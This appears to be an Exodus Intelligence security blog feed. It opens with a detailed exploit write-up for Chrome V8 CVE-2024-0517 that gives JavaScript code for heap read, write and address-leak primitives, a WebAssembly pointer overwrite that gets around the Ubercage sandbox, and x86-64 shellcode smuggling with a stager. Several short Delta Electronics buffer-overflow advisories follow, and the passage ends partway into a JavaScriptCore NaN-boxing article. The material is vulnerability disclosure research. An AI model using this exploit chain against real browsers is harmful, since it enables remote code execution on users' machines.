In the previous section we saw how the vulnerability, which was effectively an out of bounds write, was converted into a type confusion between raw floating point value, JSObject and JSObject metadata. In this section we look at how this can be utilized to further corrupt data and provide mechanisms for addrof primitive as well as read/write primitives on the V8 heap. We first talk about the mechanism of an initial temporary addrof and write primitives. These are however dependent on the fact that the garbage collector should not run. To get around this limitation, we will use these initial primitives to craft another addrof and read/write primitive that will be independent of the garbage collector.

Initial addrof primitive

The first primitive to achieve is the addrof primitive that allows an attacker to leak the address of any JavaScript object. The setup achieved by the exploit in the previous section makes gaining the addrof primitive very straightforward.

As mentioned, once the exploit is triggered, the following two regions overlap:

  • The elements backing buffer of the x object.
  • The metadata and backing buffer of the array object a.

Hence data can be written into the object array x as an object and read back as a double accessing the packed double array a. The following JavaScript code highlights this.

				
					unction addrof_tmp(obj) {
    corrupted_instance.x[0] = obj;
    f64[0] = corrupted_instance.a[8];
    return u32[0];
  }
				
			

It is important to note that in the V8 heap, all the object pointers are compressed 32 bit values. Hence the function reads the pointer as a 64 bit floating point value but extracts the address as the lower 32 bits of that value.

Initial Write Primitive

Once the vulnerability is triggered, the same memory region is used for storing the backing buffer of an array with objects (x) as well as the backing buffer and metadata of a packed double array (a). This means that the length property of the packed double array a can be modified by writing to certain elements in the object array. The following code attempts to write 0x10000 to the length field of the object array.

				
					corrupted_instance.x[5] = 0x10000;
  if (corrupted_instance.a.length != 0x10000) {
    log(ERROR, "Initial Corruption Failed!");
    return false;
  }
				
			

This is possible since SMI are written to the V8 heap memory left bit shifted by 1 as explained in the Preliminaries section. Once the length of the array is overwritten, out of bounds read/write can be performed, relative to the position of the backing element buffer of the array. To make use of this, the exploit allocates another packed double array and finds the offset and the element index to reach its metadata from the start of the elements buffer of the corrupted array.

				
					let rwarr = [1.1,2.2,2.2];
  let rwarr_addr = addrof_tmp(rwarr);
  let a_addr = addrof_tmp(corrupted_instance.a);

  // If our target array to corrupt does not lie after our corrupted array, then
  // we can't do anything. Bail and retry the exploit.
  if (rwarr_addr < a_addr) {
    log(ERROR, "FAILED");
    return false;
  }

  let offset = (rwarr_addr - a_addr) + 0xc;
  if ( (offset % 8) != 0 ) {
    offset -= 4;
  }

  offset = offset / 8;
  offset += 9;

  let marker42_idx = offset;
				
			

This setup allows the exploit to modify the metadata of the rwarr packed double array. If the elements pointer of this array is modified to point to a specific value, then writing to an index in the rwarr will write a controlled float to this chosen address thereby achieving an arbitrary write in the V8 heap. The JavaScript code that does this is highlighted below. This code accepts 2 arguments: the target address to write as an integer value (compressed pointer) and the target value to write as a floating point value.

				
					  // These functions use `where-in` because v8
  // needs to jump over the map and size words
  function v8h_write64(where, what) {
    b64[0] = zero;
    f64[0] = corrupted_instance.a[marker42_idx];
    if (u32[0] == 0x6) {
      f64[0] = corrupted_instance.a[marker42_idx-1];
      u32[1] = where-8;
      corrupted_instance.a[marker42_idx-1] = f64[0];
    } else if (u32[1] == 0x6) {
      u32[0] = where-8;
      corrupted_instance.a[marker42_idx] = f64[0];
    }
    // We need to read first to make sure we don't
    // write bogus values
    rwarr[0] = what;
  }
				
			

However both, the addrof as well as the write primitive depend on there being no garbage collection run after the successful trigger of the bug. This is because if a GC occurs, then it will move the objects in memory and primitives like corruption of the array elements will no longer work because the metadata and elements region of the array maybe moved to separate regions by the Garbage Collector. A GC can also crash the engine if it sees corrupted metadata like corrupted maps or array lengths or elements pointers. For these reasons it is necessary to use this initial temporary primitives to expand the control and gain more stable primitives that are resistant to garbage collection.

Achieving GC Resistance

In order to gain GC resistant primitives, the exploit takes the following steps:

  • Before the vulnerability is triggered allocate a few objects.
  • Send the allocated objects to the Old Space by triggering GC a few times.
  • Trigger the vulnerability
  • Use the initial primitives to corrupt the objects in the old space.
  • Fix the objects corrupted by the exploit in the Young Space heap
  • Obtain read/write/addrof using the objects in the Old Space heap

The exploit can allocate the following objects before the vulnerability is triggered.

				
					let changer = [1.1,2.2,3.3,4.4,5.5,6.6]
let leaker  = [1.1,2.2,3.3,4.4,5.5,6.6]
let holder  = {p1:0x1234, p2: 0x1234, p3:0x1234};
				
			

The changer and leaker are array’s that contain packed double elements. The holder is an object with three in-object properties. When the exploit triggers the GC with the dogc function in the process of warming up the dogc function as well as for cleaning the heap, these objects will be transferred to the Old Space heap.

Once the vulnerability is triggered, the exploit uses the initial addrof to find the address of the changer/leaker/holder objects. It then overwrites the elements pointer of the changer object to point to the address of the leaker object and also overwrites the elements pointer of leaker object to point to the address of the holder object. This corruption is done using the heap write primitive achieved in the previous section. The following code shows this.

				
					  changer_addr = addrof_tmp(changer);
  leaker_addr  = addrof_tmp(leaker);
  holder_addr  = addrof_tmp(holder);

  u32[0] = holder_addr;
  u32[1] = 0xc;
  original_leaker_bytes = f64[0];

  u32[0] = leaker_addr;
  u32[1] = 0xc;
  v8h_write64(changer_addr+0x8, f64[0]);
  v8h_write64(leaker_addr+0x8, original_leaker_bytes);
				
			

Once this corruption is done, the exploit fixes the corruption it did to the objects in Young Space, effectively losing the original primitives.

				
					  corrupted_instance.x.length = 0;
  corrupted_instance.a.length = 0;
  rwarr.length = 0;
				
			

Setting the length of an array to zero, resets its elements pointer to the default value and also fixes any changes made to the length of the array. This makes sure that the GC will never see any invalid pointers or lengths while scanning these objects. As a further precaution, the entire vulnerability trigger is run in a different function, and as soon as the objects on the Young Space heap are fixed, the function terminates. This makes the engine lose all references to any corrupted objects that were defined in the vulnerability trigger function and hence the GC will never see or scan them. At this point a GC will no longer have any effect on the exploit because all the corrupted objects in the Young Space have been fixed or have no references. While there are corrupted objects in the Old Space, the corruption is done such that when the GC scans those objects it will only see pointers to valid objects and hence never crash. Since those objects are in the old space, they will not be moved.

Final heap Read/Write Primitive

Once the vulnerability trigger is completed and the corruption of objects in the old space using the initial primitives is finished, the exploit crafts new read/write primitives using the corrupted objects on the old space. For an arbitrary read, the exploit uses the changer object, whose elements pointer now points to the leaker object, to overwrite the elements pointer of the leaker object to the target address to read from. Reading a value back from the changer array now yields a value from the target address as a 64bit floating point hence achieving arbitrary read in the V8 heap. Once the value is read, the exploit again uses the changer object to reset the elements pointer of the leaker object and get it to point back to the address of the holderobject which was seen in the last section. We can implement this in JS as follows.

				
					  function v8h_read64(addr) {
    original_leaker_bytes = changer[0];
    u32[0] = Number(addr)-8;
    u32[1] = 0xc;
    changer[0] = f64[0];

    let ret = leaker[0];
    changer[0] = original_leaker_bytes;
    return f2i(ret);
  }
				
			

The v8h_read64 function accepts the target address to read from as an argument. The address can be represented as either an integer or a BigInt. It returns the 64bit value that is present at the address as a BigInt.

For achieving the arbitrary heap write, the exploit does the same thing as what was done for the read, with the only difference being that instead of reading a value from the leaker object, it writes the target value. This is shown below.

				
					  function v8h_write(addr, value) {
    original_leaker_bytes = changer[0];
    u32[0] = Number(addr)-8;
    u32[1] = 0xc;
    changer[0] = f64[0];

    f64[0] = leaker[0];
    u32[0] = Number(value);
    leaker[0] = f64[0];
    changer[0] = original_leaker_bytes;
  }
				
			

The v8h_write64 accepts the target address and the target value to write as arguments. Both of those values should be BigInts. It then writes the value to the memory region pointed to by address.

Final addrof Primitive

After the corruption of the objects in the Old Space, the elements of the leaker array point to the address of the holder array as seen in the Achieving GC Resistance Section. This means that reading from the element index 1 with the leaker array will result in leaking the contents of the in-object properties of the holder array as raw float values. Therefore to achieve an addrof primitive, the exploit writes the object whose address is to be leaked to one of its in-object properties and then leaks the address as a float with the leaker array. We can implement this in JS as follows.

				
					  function addrof(obj) {
    holder.p2 = obj;
    let ret = leaker[1];
    holder.p2 = 0;
    return f2i(ret) & 0xffffffffn;
  }
				
			

The addrof function accepts an object as an argument and returns its address as a 32 bit integer.

Bypassing Ubercage on Intel (x86-64)

In V8 the region that are used to store the code for the JIT’ed functions as well as the regions that used to hold the WebAssembly code have the READ-WRITE-EXECUTE (RWX) permissions. It was observed that when a WebAssembly Instance is created, the underlying object in C++ contains a full 64 bit raw pointer that is used to store the starting address of the jump table. This is a pointer into the RWX region and is called when the instance is trying to locate the actual address of an exported WebAssembly function. Since this pointer lies in the V8 heap as a raw 64 bit pointer, it can be modified by the exploit to point to anywhere in the memory. The next time the instance tries to located the address of an export it will use this a function pointer and call it, thereby giving the exploit control of the Instruction Pointer. In this manner Ubercage can be bypassed.

The exploit code to overwrite the RWX pointer in the WebAssembly instance is shown below

				
					[1]

  var wasmCode = new Uint8Array([ 
        [ TRUNCATED ]
  ]);
  var wasmModule = new WebAssembly.Module(wasmCode);
  var wasmInstance = new WebAssembly.Instance(wasmModule);

[2]

  let addr_wasminstance = addrof(wasmInstance);
  log(DEBUG, "addrof(wasmInstance) => " + hex(addr_wasminstance));

[3]

  let wasm_rwx = v8h_read64(addr_wasminstance+wasmoffset);
  log(DEBUG, "addrof(wasm_rwx) => " + hex(wasm_rwx));

[4]

  var f = wasmInstance.exports.main;
 
[5]

  v8h_write64(addr_wasminstance+wasmoffset, 0x41414141n);
  
[6]
  f();
				
			

At [1], the wasm instance is constructed from pre-built wasm binary. At [2] the address of the instance is found using the addrof primitive. The original RWX pointer is saved in the wasm_rwx variable at [3]. The wasmoffset is a version dependent offset. At [4] a reference to the exported wasm function is fetched into JavaScript. [5] will overwrite the RWX pointer in the wasm instance to make it point to 0x41414141. Finally at [6], the exported function is called which will make the instance jump to the jump_table_start which can be overwritten by us to point to 0x41414141, thereby giving the exploit full control over the instruction pointer RIP.

Shellcode Smuggling

The previous section discussed how the Ubercage can be bypassed by overwriting a 64 bit pointer in the WebAssembly Instance object and gaining Instruction Pointer control. This section discusses how to use this to execute a small shellcode, only applicable to Intel x86-64 architecture, as it is not possible to jump into the middle of instructions on ARM based architectures.

Consider the following WebAssembly code.

				
					f64.const 0x90909090_90909090
f64.const 0xcccccccc_cccccccc
				
			

The above code is just creating 2 64bit Floating Point values. When this code is compiled by the engine into assembly, the following assembly is emitted.

				
					0x00:      movabs r10,0x9090909090909090
0x0a:      vmovq  xmm0,r10
0x0f:      movabs r10,0xcccccccccccccccc
0x19:      vmovq  xmm1,r10
				
			

On Intel processors, instructions do not have fixed lengths. Hence there is no required alignment that is expected of the Instruction Pointer, which is the RIP register on 64bit Intel machines. Therefore when observed from the address 0x02 in the above snippet by skipping the first 2 bytes of the movabs instruction, the assembly code will look as follows:

				
					0x02: nop
0x03: nop
0x04: nop
0x05: nop
0x06: nop
0x07: nop
0x08: nop
0x09: nop
0x0a:      vmovq  xmm0,r10
0x0f:      movabs r10,0xcccccccccccccccc
0x19:      vmovq  xmm1,r10

[TRUNCATED]
				
			

Hence the constants declared in the WebAssembly code can potentially be interpreted as assembly code by jumping in the middle of an instruction, which is valid on machines that run Intel architecture. Hence with the RIP control described in the previous section, it is possible to redirect the RIP into the middle of some compiled wasm code which has controlled float constants and interpret them as x86-64 instructions.

Achieving Full Arbitrary Write

It was observed that on Google Chrome and Microsoft Edge on x86-64 Windows and Linux systems, the first argument to the wasm function was stored in the RAX register, the second in RDX and the third argument in RCX register. Therefore the following snippet of assembly provides a 64-bit arbitrary write primitive.

				
					0x00:   48 89 10                mov    QWORD PTR [rax],rdx
0x03:   c3                      ret
				
			

In hex, this would look like 0xc3108948_90909090 where it’s padded with nop‘s to make the size 8 bytes. It is important to keep in mind that, as explained in the Bypassing Ubercage Section, the function pointer that the exploit overwrites will be called only once during the initialization of a wasm function. Hence the exploit overwrites the pointer to point to the arbitrary write. When this is called, the exploit uses this 64bit arbitrary write to overwrite the start of the wasm function code, which is in the RWX region, with these same instructions. This renders the exploit with a persistent 64 bit arbitrary write that can be called multiple times by just calling the wasm function with the desired arguments.

The following code in the exploit calls the “smuggled” shellcode to get it to overwrite the starting bytes of the wasm function with the same instructions to get the wasm function to do an arbitrary write.

				
					    let initial_rwx_write_at = wasm_rwx + wasm_function_offset;
    f(initial_rwx_write_at, 0xc310894890909090n);
				
			

The wasm_function_offset is a version dependent offset and denotes the offset from the start of the wasm RWX region to the start of the exported wasm function. After this point, the f function is a full arbitrary write which accepts the first argument as the target address and the second argument as the value to write.

Running Shellcode

Once a full 64 bit persistent write primitive is achieved, the exploit proceeds to use it to copy over a small staging memory copy shellcode into the RWX region. This is done because the size of the final shellcode might be large and hence increases the chances of triggering JIT and GC if it is directly written to the RWX region using the arbitrary write. Therefore the larger copy into the RWX region is performed by the following shellcode:

				
					   0:   4c 01 f2                add    rdx,r14
   3:   50                      push   rax
   4:   48 8b 1a                mov    rbx,QWORD PTR [rdx]
   7:   89 18                   mov    DWORD PTR [rax],ebx
   9:   48 83 c2 08             add    rdx,0x8
   d:   48 83 c0 04             add    rax,0x4
  11:   66 83 e9 04             sub    cx,0x4
  15:   66 83 f9 00             cmp    cx,0x0
  19:   75 e9                   jne    0x4
  1b:   58                      pop    rax
  1c:   ff d0                   call   rax
  1e:   c3                      ret
				
			

This shellcode copies over 4 bytes at a time from a backing buffer of a double array containing the shellcode in the V8 heap and writes it to the target RWX region. The first argument which is in RAX register is the target address. The second argument in the RDX register is the source address and the third one in the RCX register is the size of the final shellcode to be copied. The following parts from the exploit highlight the copying of this 4 bytes memory copying payload into the RWX region using the arbitrary write achieved in the previous function.

				
					[1]

  let start_our_rwx = wasm_rwx+0x500n;
  f(start_our_rwx, snd_sc_b64[0]);
  f(start_our_rwx+8n, snd_sc_b64[1]);
  f(start_our_rwx+16n, snd_sc_b64[2]);
  f(start_our_rwx+24n, snd_sc_b64[3]);

[2]

  let addr_wasminstance_rce = addrof(wasmInstanceRCE);
  log(DEBUG, "addrof(wasmInstanceRCE) => " + hex(addr_wasminstance_rce));
  let rce = wasmInstanceRCE.exports.main;
  v8h_write64(addr_wasminstance_rce+wasmoffset, start_out_rwx);

[3] 

  let addr_of_sc_aux = addrof(shellcode);
  let addr_of_sc_ele = v8h_read(addr_of_sc_aux+8n)+8n-1n;
  rce(wasm_rwx, addr_of_sc_ele, 0x300);
				
			

At [1], the exploit uses the arbitrary write to copy over the memcpy payload which is stored in the snd_sc_b64 array, into the RWX region. The target region is basically a region that is 0x500 bytes into the start of the wasm region (this offset was arbitrarily chosen, the only pre-requisite is not to overwrite the exploit’s own shellcode). As mentioned before the Web Assembly Instance only calls the jump_table_startpointer which the exploit overwrites, once and that is when it tries to locate the addresses of the exported wasm functions. Hence the exploit uses a second Wasm instance and at [2], overwrites its jump_table_start pointer to that of the region where the memcpy shellcode has been copied over. Finally at [3], the elements pointer of the array which holds the shellcode is calculated and the 4 bytes memory copying payload is called with the necessary arguments – the first one where to copy the final shellcode, the second one is the source pointer and the last part is the size of the shellcode. When the wasm function is called, the shellcode runs and after performing the copy of the final shellcode, it will redirect execution via call rax to the target address effectively running the user provided shellcode.

Below is a video showing the exploit in action on Chrome 120.0.6099.71 on Linux.

Conclusion

In this post we discussed a vulnerability in V8 which arose due to how V8’s Maglev compiler tried to optimize the number of allocations that it makes. We were able to exploit this bug by leveraging V8’s garbage collector to gain read/write in the V8 heap. We then use a Wasm instance object in V8, which still has a raw 64-bit pointer to the Wasm RWX memory to bypass Ubercage and gain code execution inside the Chrome sandbox.

This vulnerability was patched in the Chrome update on 16 January 2024 and assigned CVE-2024-0517. The following commit patches the vulnerability: https://chromium-review.googlesource.com/c/v8/v8/+/5173470. Apart from fixing the vulnerability, an upstream V8 commit  was recently introduced to move the WASM instance into a new Trusted Space, thereby rendering this method of bypassing the Ubercage ineffective.

About Exodus Intelligence

Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with proprietary knowledge before the adversaries find them. We also conduct N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild.

For more information on our products and how we can help your vulnerability efforts, visit www.exodusintel.com or contact [email protected] for further discussion.

The post Google Chrome V8 CVE-2024-0517 Out-of-Bounds Write Code Execution appeared first on Exodus Intelligence.

Delta Electronics Delta Industrial Automation DOPSoft DPS File wTextLen Buffer Overflow Remote Code Execution

18 January 2024 at 21:11

EIP-29f0f63c

A buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution.

Vulnerability Identifier

  • Exodus Intelligence: EIP-29f0f63c
  • MITRE: CVE-2023-43818

Vulnerability Metrics

  • CVSSv2 Vector: AV:N/AC:M/Au:N/C:P/I:P/A:P
  • CVSSv2 Score: 6.8

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to Vendor: March 8, 2023
  • Vendor response to disclosure: March 22, 2023
  • Disclosed to public: January 18, 2024

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected]

The post Delta Electronics Delta Industrial Automation DOPSoft DPS File wTextLen Buffer Overflow Remote Code Execution appeared first on Exodus Intelligence.

Delta Electronics Delta Industrial Automation DOPSoft DPS File InitialMacroLen Buffer Overflow Remote Code Execution

18 January 2024 at 21:11

EIP-2ac577d8

A stack based buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft when parsing the InitialMacroLen field of a DPS file. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution.

Vulnerability Identifier

  • Exodus Intelligence: EIP-2ac577d8
  • MITRE: CVE-2023-43819

Vulnerability Metrics

  • CVSSv2 Vector: AV:N/AC:M/Au:N/C:P/I:P/A:P
  • CVSSv2 Score: 6.8

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to Vendor: March 8, 2023
  • Vendor response to disclosure: March 22, 2023
  • Disclosed to public: January 18, 2024

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected]

The post Delta Electronics Delta Industrial Automation DOPSoft DPS File InitialMacroLen Buffer Overflow Remote Code Execution appeared first on Exodus Intelligence.

Delta Electronics Delta Industrial Automation DOPSoft DPS File wLogTitlesPrevValueLen Buffer Overflow Remote Code Execution

18 January 2024 at 21:11

EIP-b1c30ad0

A stack based buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft when parsing the wLogTitlesPrevValueLen field of a DPS file. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution.

Vulnerability Identifier

  • Exodus Intelligence: EIP-b1c30ad0
  • MITRE: CVE-2023-43820

Vulnerability Metrics

  • CVSSv2 Vector: AV:N/AC:M/Au:N/C:P/I:P/A:P
  • CVSSv2 Score: 6.8

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to Vendor: March 8, 2023
  • Vendor response to disclosure: March 22, 2023
  • Disclosed to public: January 18, 2024

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected]

The post Delta Electronics Delta Industrial Automation DOPSoft DPS File wLogTitlesPrevValueLen Buffer Overflow Remote Code Execution appeared first on Exodus Intelligence.

Delta Electronics Delta Industrial Automation DOPSoft DPS File wLogTitlesActionLen Buffer Overflow Remote Code Execution

18 January 2024 at 21:10

EIP-0dffc5aa

A stack based buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft when parsing the wLogTitlesActionLen field of a DPS file. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution.

Vulnerability Identifier

  • Exodus Intelligence: EIP-0dffc5aa
  • MITRE: CVE-2023-43821

Vulnerability Metrics

  • CVSSv2 Vector: AV:N/AC:M/Au:N/C:P/I:P/A:P
  • CVSSv2 Score: 6.8

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline 

  • Disclosed to Vendor: March 8, 2023
  • Vendor response to disclosure: March 22, 2023
  • Disclosed to public: January 18, 2024

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected]

The post Delta Electronics Delta Industrial Automation DOPSoft DPS File wLogTitlesActionLen Buffer Overflow Remote Code Execution appeared first on Exodus Intelligence.

Delta Electronics Delta Industrial Automation DOPSoft DPS File wTTitleLen Buffer Overflow Remote Code Execution

18 January 2024 at 21:10

EIP-2fdb5241

A stack based buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft when parsing the wTTitleLen field of a DPS file. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution.

Vulnerability Identifier

  • Exodus Intelligence: EIP-2fdb5241
  • MITRE: CVE-2023-43823

Vulnerability Metrics

  • CVSSv2 Vector: AV:N/AC:M/Au:N/C:P/I:P/A:P
  • CVSSv2 Score: 6.8

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to Vendor: March 8, 2023
  • Vendor response to disclosure: March 22, 2023
  • Disclosed to public: January 18, 2024

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected]

The post Delta Electronics Delta Industrial Automation DOPSoft DPS File wTTitleLen Buffer Overflow Remote Code Execution appeared first on Exodus Intelligence.

Delta Electronics Delta Industrial Automation DOPSoft DPS File wTitleTextLen Buffer Overflow Remote Code Execution

18 January 2024 at 21:10

EIP-10b37d9e

A stack based buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft when parsing the wTitleTextLen field of a DPS file. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution.

Vulnerability Identifier

  • Exodus Intelligence: EIP-10b37d9e
  • MITRE: CVE-2023-43824

Vulnerability Metrics

  • CVSSv2 Vector: AV:N/AC:M/Au:N/C:P/I:P/A:P
  • CVSSv2 Score: 6.8

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to Vendor: March 8, 2023
  • Vendor response to disclosure: March 22, 2023
  • Disclosed to public: January 18, 2024

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected]

The post Delta Electronics Delta Industrial Automation DOPSoft DPS File wTitleTextLen Buffer Overflow Remote Code Execution appeared first on Exodus Intelligence.

Delta Electronics ISPSoft Heap Buffer-Overflow

18 January 2024 at 21:10

EIP-a76f2f23

A heap buffer-overflow exists in Delta Electronics ISPSoft. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DVP file to achieve code execution.

Vulnerability Identifier

  • Exodus Intelligence: EIP-a76f2f23
  • MITRE: CVE-2023-5131

Vulnerability Metrics

  • CVSSv2 Vector: AV:N/AC:H/Au:N/C:C/I:P/A:C
  • CVSSv2 Score: 7.3

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to vendor: March 8, 2023
  • Vendor response to disclosure: March 22, 2023
  • Disclosed to public: January 18, 2024

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected]

The post Delta Electronics ISPSoft Heap Buffer-Overflow appeared first on Exodus Intelligence.

Delta Electronics Delta Industrial Automation DOPSoft DPS File wScreenDESCTextLen Buffer Overflow Remote Code Execution

18 January 2024 at 21:10

EIP-fe441d93

A buffer overflow vulnerability exists in Delta Electronics Delta Industrial Automation DOPSoft version 2 when parsing the wScreenDESCTextLen field of a DPS file. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve code execution.

Vulnerability Identifier

  • Exodus Intelligence: EIP-fe441d93
  • MITRE: CVE-2023-43815

Vulnerability Metrics

  • CVSSv2 Vector: AV:N/AC:M/Au:N/C:P/I:P/A:P
  • CVSSv2 Score: 6.8

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to vendor: March 8, 2023
  • Vendor response to disclosure: March 22, 2023
  • Disclosed to public: January 18, 2024

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected]

The post Delta Electronics Delta Industrial Automation DOPSoft DPS File wScreenDESCTextLen Buffer Overflow Remote Code Execution appeared first on Exodus Intelligence.

Delta Electronics Delta Industrial Automation DOPSoft DPS File wMailContentLen Buffer Overflow Remote Code Execution

18 January 2024 at 14:08

EIP-a31ff40d

A buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft version 2 when parsing the wMailContentLen field of a DPS file. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve code execution.

Vulnerability Identifier

  • Exodus Intelligence: EIP-a31ff40d
  • MITRE: CVE-2023-43817

Vulnerability Metrics

  • CVSSv2 Vector: AV:N/AC:M/Au:N/C:P/I:P/A:P
  • CVSSv2 Score: 6.8

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to vendor: March 8, 2023
  • Vendor response to disclosure: March 22, 2023
  • Disclosed to public: January 18, 2024

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected]

The post Delta Electronics Delta Industrial Automation DOPSoft DPS File wMailContentLen Buffer Overflow Remote Code Execution appeared first on Exodus Intelligence.

Delta Electronics Delta Industrial Automation DOPSoft DPS File wKPFStringLen Buffer Overflow Remote Code Execution

18 January 2024 at 14:07

EIP-ba7ef91e

A buffer overflow vulnerability exists in Delta Electronics Delta Industrial Automation DOPSoft version 2 when parsing the wKPFStringLen field of a DPS file. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve code execution.

Vulnerability Identifier

  • Exodus Intelligence: EIP-ba7ef91e
  • MITRE: CVE-2023-43816

Vulnerability Metrics

  • CVSSv2 Vector: AV:N/AC:M/Au:N/C:P/I:P/A:P
  • CVSSv2 Score: 6.8

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline 

  • Disclosed to vendor: March 8, 2023
  • Vendor response to disclosure: March 22, 2023
  • Disclosed to public: January 18, 2024

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected]

The post Delta Electronics Delta Industrial Automation DOPSoft DPS File wKPFStringLen Buffer Overflow Remote Code Execution appeared first on Exodus Intelligence.

Delta Electronics WPLSoft Buffer-Overflow

18 January 2024 at 10:45

EIP-b3263b51

A buffer overflow vulnerability exists in Delta Electronics WPLSoft. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DVP file to achieve code execution.

Vulnerability Identifier

  • Exodus Intelligence: EIP-b3263b51
  • MITRE: CVE-2023-5130

Vulnerability Metrics

  • CVSSv2 Vector: AV:N/AC:H/Au:N/C:C/I:P/A:C
  • CVSSv2 Score: 7.3 

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to vendor: March 8, 2023
  • Vendor response to disclosure: March 22, 2023
  • Disclosed to public: January 18, 2024

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected]

The post Delta Electronics WPLSoft Buffer-Overflow appeared first on Exodus Intelligence.

Safari, Hold Still for NaN Minutes!

11 December 2023 at 21:37

By Vignesh Rao and Javier Jimenez

Introduction

In October 2023 Vignesh and Javier presented the discovery of a few bugs affecting JavaScriptCore, the JavaScript engine of Safari. The presentation revolved around the idea that browser research is a dynamic area; we presented a story of finding and exploiting three vulnerabilities that led to gaining code execution within Safari’s renderer. This blog post extends into the second vulnerability in more detail: the NaN bug.

At the conference

NaN-boxing

To understand why we gave the name “NaN bug” to this bug, we first need to understand the IEEE754 standard.  We shall also dive into how JSValues are represented in memory by means of a technique called “NaN-boxing”.

IEEE754

JavaScriptCore uses the IEEE Standard for Floating-Point Arithmetic (IEEE754). This standard serves the purpose of representing floating point values in memory. It does so by encoding, for example on a 64-bit value (double-precision floating-point format), data such as the sign, the exponent, and the significand. There are also 16-bit (half-precision) and 32-bit (single-precision) representations that are outside of the scope of this blog post.

SignExponentSignificand
Bit 63Bits 62-52Bits 51-0

Depending on these bits, the calculation for the representation would be as follows.

  • With exponent 0: (-1)**(sign bit) * 2**(1-1023) * 1.significand

  • With exponent other than 0: (-1)**(sign bit) * 2**(exponent-1023) * 0.significand

  • With all bits of exponent set and significand is 0: (-1)**(sign bit)*Infinity

  • With all bits of exponent set and significand not 0: Not a number (NaN)

The reason why 1023 is used on the exponent is because it is encoded using an offset-binary representation which aides in implementing negative numbers with 1023 as the zero offset. In order to understand offset-binary representation, we can picture an example with a 3 digit binary exponent. In this representation it would be possible to encode up to number 7 and the offset would be 4
(2**2). This way we would encode the number 0 as (2**1) in this offset-binary representation and therefore the encoded range would be (-4, 3) corresponding to the binary range of (000, 111).

NaN

If all the bits of the exponent on the IEE754 standard representation are set, it describes a value that is not a number (NaN). These values are described in the standard as a way to establish values that are either undefined or unrepresentable. In addition, there exist Quiet and Signaling NaN values (QNaN, sNaN) which serve the purpose of either notifying of a normal undefined or unrepresentable value or, in the case of a signaling NaN, a representation to add diagnostics info (other data encoded in the payload of the value).

There are 2**51 possible values we can encode in the payload of the NaN number in the double-precision floating-point format. This allows a huge value space for implementers to encode all sorts of information. In hexadecimal, this range would be any values between 0xFFF0000000000000 and 0xFFFFFFFFFFFFFFFF.

Specifically, JavaScriptCore uses NaN values to encode different types of information.

JSValue

Most JavaScript engines choose to represent JavaScript objects in memory in a way that enables efficient handling of the values. JavaScriptCore is no exception, and to do so, it backs up JavaScript objects with the C class JSValue. It is possible to find a detailed explanation on how values in the JavaScript engine are encoded in JavaScriptCore within the file Source/JavaScriptCore/runtime/JSCJSValue.h:

